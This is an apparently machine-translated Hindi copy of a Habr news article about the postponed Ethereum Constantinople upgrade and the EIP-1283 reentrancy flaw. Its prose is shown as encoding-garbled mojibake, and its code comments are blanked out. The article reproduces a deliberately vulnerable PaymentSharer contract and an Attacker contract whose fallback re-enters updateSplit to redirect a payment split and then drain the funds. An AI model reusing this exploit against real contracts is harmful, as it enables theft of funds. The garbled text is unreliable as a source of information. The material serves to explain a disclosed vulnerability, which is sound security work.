* рдПрдереЗрд░рд┐рдпрдо "рдХрд╛рдВрд╕реНрдЯреЗрдВрдЯрд┐рдиреЛрдкрд▓" рдЕрдкрдбреЗрдЯ рдХреЛ рдЕрдВрддрд┐рдо рд╕рдордп рдкрд░ рдорд┐рд▓рдиреЗ рд╡рд╛рд▓реА рд╕рдВрднрд╛рд╡рд┐рдд рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рд╕реНрдердЧрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

рдЫрд╡рд┐
* рдХрдИ рд▓реЛрдЧ рдЗрд╕ рдШрдЯрдирд╛ рдХреЛ рдПрдХ "рдХрдард┐рди рдХрд╛рдВрдЯрд╛" рдХрд╣рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡рд┐рдЯрд╛рд▓рд┐рдХ рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рд╣реИрдВ ред

рдХрд╛рдВрд╕реНрдЯреЗрдВрдЯрд┐рдиреЛрдкрд▓ рдХреА рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рдкреНрд░рддреАрдХреНрд╖рд┐рдд рд░рд┐рд▓реАрдЬ 17 рдЬрдирд╡рд░реА рдХреЛ 4 рдмрдЬреЗ рдпреВрдЯреАрд╕реА рдореЗрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдереА , рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рдмрд╛рд░ рдлрд┐рд░, рдЙрд▓рдЯреА рдЧрд┐рдирддреА рдХрд╛рдЙрдВрдЯрд░реЛрдВ рдХреЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреА рдЕрд╕рдВрдЦреНрдп рд╕реЗрдирд╛ рдХреЛ рдмреЗрд░рд╣рдореА рд╕реЗ рддреЛрдбрд╝рдирд╛ рдпрд╣ рд╕рдЪ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд░рд┐рд▓реАрдЬ рд╕реЗ 30 рдШрдВрдЯреЗ рдкрд╣рд▓реЗ, рдкрд╛рдпрд╛ рдЧрдпрд╛ рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг, рд╕рд┐рджреНрдзрд╛рдВрдд рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдд "рдмреАрдЪ рдореЗрдВ рдЖрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рдирд╣реАрдВ", рдЕрджреНрдпрддрди рдЕрдирд┐рд╢реНрдЪрд┐рдд рдХрд╛рд▓ рдХреЗ рд▓рд┐рдП рд╕реНрдердЧрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдПрдХ рдШрдЯрдирд╛ рдЬрд┐рд╕рдиреЗ рдкреВрд░реЗ рд╕рдореБрджрд╛рдп рдХреЗ рдХрд╛рди рдЦрдбрд╝реЗ рдХрд░ рджрд┐рдП, рдИрдЖрдИрдкреА 1283 рдХреА рд▓рд╛рдкрд░рд╡рд╛рд╣ рдкреЗрд╢рдХрд╢ рдереА, рдЬреЛ SSTORE (рд╕рд┐рдХ!) рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рд▓рд╛рдЧрдд рдХреЛ рдХрдо рдХрд░рддреА рд╣реИ ред рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдЕрдкрдбреЗрдЯ рдХреА рдореБрдЦреНрдп рджрд┐рд╢рд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рднрд╛рд░реА рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рд╕рд╕реНрддрд╛ рдФрд░ рддреЗрдЬ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдерд╛ред

15 рдЬрдирд╡рд░реА рдХреА рдШрдЯрдирд╛рдПрдВ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИрдВ (рдкреАрдПрд╕рдЯреА рдореЗрдВ рд╕рдордп):

  • рд╕реБрдмрд╣ 8 рдмрдЬреЗ, рдЪреЗрдирд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рддреА рд╣реИ ;
  • рд╡рд╣реАрдВ, рдорд╛рд░реНрдЯрд┐рди рд╣реЛрд▓реНрд╕реНрдЯ рд╕реНрд╡реЗрдВрдбреЗ (рдЗрдереЗрд░рд┐рдпрдо рдлрд╛рдЙрдВрдбреЗрд╢рди рдХрд╛ рдореБрдЦреНрдп рд╕реБрд░рдХреНрд╖рд╛ рдЧрд╛рд░реНрдб) рд╕рднреА рдкреНрд░рдореБрдЦ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЬрдЧрд╛рддрд╛ рд╣реИ, рдпрд╣ рдпрд╛рдж рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдЕрдкрдбреЗрдЯ рд╕реЗ рдкрд╣рд▓реЗ рдХреЗрд╡рд▓ 37 рдШрдВрдЯреЗ рдмрд╛рдХреА рд╣реИрдВ, рдФрд░ рдпрд╣рд╛рдВ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдпрд╣ рд╣реИ ;
  • рджреЛрдкрд╣рд░ рд╕реЗ рдкрд╣рд▓реЗ рдЪреИрдЯ рд░реВрдо рдФрд░ "рдЖрд╡рд╛рдЬ" рдореЗрдВ рдЧрд░рдорд╛рдЧрд░рдо рдмрд╣рд╕ рд╣реЛрддреА рд╣реИ;
  • рдбрд┐рдирд░ рдХрд░рдХреЗ, рдЕрдкрдбреЗрдЯ рдХреЛ рд░рджреНрдж рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдЧрдпрд╛ред

рд╕реНрдерд┐рддрд┐ рдЗрд╕ рддрдереНрдп рд╕реЗ рдмрдврд╝ рдЧрдИ рдереА рдХрд┐ рдЬрд╣рд╛рдЬ рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рдмрд╣реБрдд рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рдЪреБрдирд╛ рдЧрдпрд╛ рдерд╛: рд▓рдЧрднрдЧ рдЖрдзреЗ рдиреЛрдбреНрд╕ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣реЗ, рдФрд░ рдЕрдиреНрдп рд╕рднреА рдХреЛ рдкрд┐рдЫрд▓реЗ рд╣рдлреНрддреЛрдВ рдореЗрдВ рд╡рд┐рдзрд┐рдкреВрд░реНрд╡рдХ рдФрд░ рд▓рдЧрд╛рддрд╛рд░ рдХрд┐рдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдирддреАрдЬрддрди, рдЕрдм рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рдиреЛрдбреНрд╕ рдХреЛ рдлрд┐рд░ рд╕реЗ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдпрд╛ рддреЛ рдКрдкрд░ рдпрд╛ рдиреАрдЪреЗ ... mda)ред рдФрд░ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рд╕рдордп рдирд╣реАрдВ рдерд╛ рдФрд░ рд╡реЗ рд╕рдм рдХреБрдЫ рдХрд░рдХреЗ рд╕реЛ рдЧрдП - рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ, рдЙрдиреНрд╣реЗрдВ рдХреБрдЫ рднреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

рддрдм рд╕рдм рдХреБрдЫ рдЕрдиреБрдорд╛рдирд┐рдд рдерд╛ - рдмрд╛рдЬрд╛рд░ рдиреЗ рдИрдерд░ (рд╣рд╛рд╣рд╛) рдХреА рджрд░ рдХреЗ 5% рдкрддрди рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреАред рдХрдИ, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ, рдЗрд╕ рдмрд╛рдд рд╕реЗ рдирд╛рд░рд╛рдЬ рдереЗ рдХрд┐ рд╡реЗ рдХрд╣рддреЗ рд╣реИрдВ рдХрд┐ рдирд┐рд░реНрджреЗрд╢ рдХреА рдХреАрдордд рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдХреИрд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ, рдЖрдкрдиреЗ рдЗрд╕реЗ рд╡рд╣рд╛рдВ рдХреНрдпреЛрдВ рд░рдЦрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╕рдм ... рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдХреБрдЫ рднреА рдЕрд╕рд╛рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ, рд╕рдм рдХреБрдЫ рдмрд╛рдХреА рд╕рднреА рдХреА рддрд░рд╣ рд╣реИред

рдЪреИрдирд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рджреНрд╡рд╛рд░рд╛ рдореВрд▓ рд▓реЗрдЦ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЗ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдирд╣реАрдВ рд╣реИред

рдХреМрди рдХреЛрдб рдореЗрдВ рдЧреЛрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЖрд▓рд╕реА рд╣реИ - рдмрд┐рдВрджреБ рдпрд╣ рд╣реИ рдХрд┐ рдЕрдкрдбреЗрдЯ рд╕реЗ рдкрд╣рд▓реЗ рдПрд╕рдПрд╕рдЯреАрдЖрд░рдЖрдИрдЖрд░ рдЕрдиреБрджреЗрд╢ рдЗрддрдирд╛ рдорд╣рдВрдЧрд╛ рдерд╛ рдХрд┐ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдзреЛрдВ рд╕реЗ "рд░рд╛рдЬреНрдп" рдХреЛ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рдерд╛, рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯрд┐рдиреЛрдкрд▓ рдЕрдкрдбреЗрдЯ рдХреЗ рдмрд╛рдж рдирд┐рд░реНрджреЗрд╢ рд╕рд╕реНрддрд╛ рд╣реЛ рдЧрдпрд╛ (рдФрд░), рдФрд░ рдЖрдк "рднрдВрдбрд╛рд░рдг" рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрдИ рдмрд╛рд░, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЕрдиреБрдмрдВрдз рдХрд╛ рддрд░реНрдХ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИред

рдХрдордЬреЛрд░ рдЕрдиреБрдмрдВрдз рдХреЛрдб (рдореЗрд░реА рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

рд╣рдорд▓рд╛ рдЕрдиреБрдмрдВрдз рдХреЛрдб:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* рдореВрд▓ рдореЗрдВ рдЧрд╛рдпрдм рд╣реИ, рд▓реЗрдХрд┐рди рдХрд╣реАрдВ рди рдХрд╣реАрдВ рдлрд╛рд░реНрдо рдХрд╛ рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:
init (0, "рд╣рдорд▓рд╛рд╡рд░ рдЕрдиреБрдмрдВрдз рдкрддрд╛", "рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдмрдЯреБрдЖ рдкрддрд╛")

рд╣рдорд▓реЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗред

рдмреЗрд╢рдХ, рдЦреБрдж рднреБрдЧрддрд╛рдирдХрд░реНрддрд╛ рдЕрдиреБрдмрдВрдз рдХреЗ рдХрдИ рд╕рд╡рд╛рд▓ рд╣реИрдВ, рдЬрд┐рд╕ рдкрд░ рд╣рдореЗрдВ рднреЗрджреНрдпрддрд╛ рджрд┐рдЦрд╛рдИ рдЬрд╛рддреА рд╣реИ, рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдХреБрдЯрд┐рд▓ рд╣реИ, рдФрд░ рдпрд╣ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдореЗрдВ рд╣реИ
рдФрд░ SSTORE рдХреА рдХреАрдордд рдореЗрдВ рдирд╣реАрдВ, рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░ - рдЙрдиреНрд╣реЗрдВ рд░рд┐рд▓реАрдЬ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдПрдХ рдЬреАрд╡рд┐рдд рдЙрджрд╛рд╣рд░рдг рдирд╣реАрдВ рдорд┐рд▓рд╛, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдЦреЗрд▓рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рд╕рднреА рдПрдХ рд╣реА, рддреНрд░реБрдЯрд┐ рдХреА рдХреАрдордд рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реЛ рд╕рдХрддреА рд╣реИ (рд╕рднреА рдиреЗ рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рдореГрдд рдбреАрдПрдУ рдХреЛ рдпрд╛рдж рдХрд┐рдпрд╛)ред

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдПрдереЗрд░рд┐рдпрдо рд╕рдореБрджрд╛рдп рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА рджрд┐рд▓рдЪрд╕реНрдк рдШрдЯрдирд╛рдПрдВ рд╣реЛрддреА рд╣реИрдВ: рдЧреНрд░реЗ рдорд╛рд░реНрдХреЗрдЯ рдХрд╛рд░реНрдбрд┐рдирд▓реНрд╕ (рдЬреАрдкреАрдпреВ рдмрдирд╛рдо рдПрдПрд╕рдЖрдИрд╕реА) рдХрд╛ рд╕рдВрдШрд░реНрд╖ рддреЗрдЬ рд╣реЛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рд▓реЗрдЦ рдХреЗ рд╣рдХрджрд╛рд░ рд╣реИрдВ, рдмреЗрдХрди рдЪреЗрди рдХреА рдЖрдЧрд╛рдореА рд░рд┐рд▓реАрдЬ рдЧрддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реА рд╣реИ - рд╡рд░реНрд╖ рдШрдЯрдирд╛рдУрдВ рдФрд░ рд╕рд╛рдЬрд╝рд┐рд╢ рдореЗрдВ рд╕рдореГрджреНрдз рд╣реЛрдиреЗ рдХрд╛ рд╡рд╛рджрд╛ рдХрд░рддрд╛ рд╣реИред

Source: https://habr.com/ru/post/hi436262/


All Articles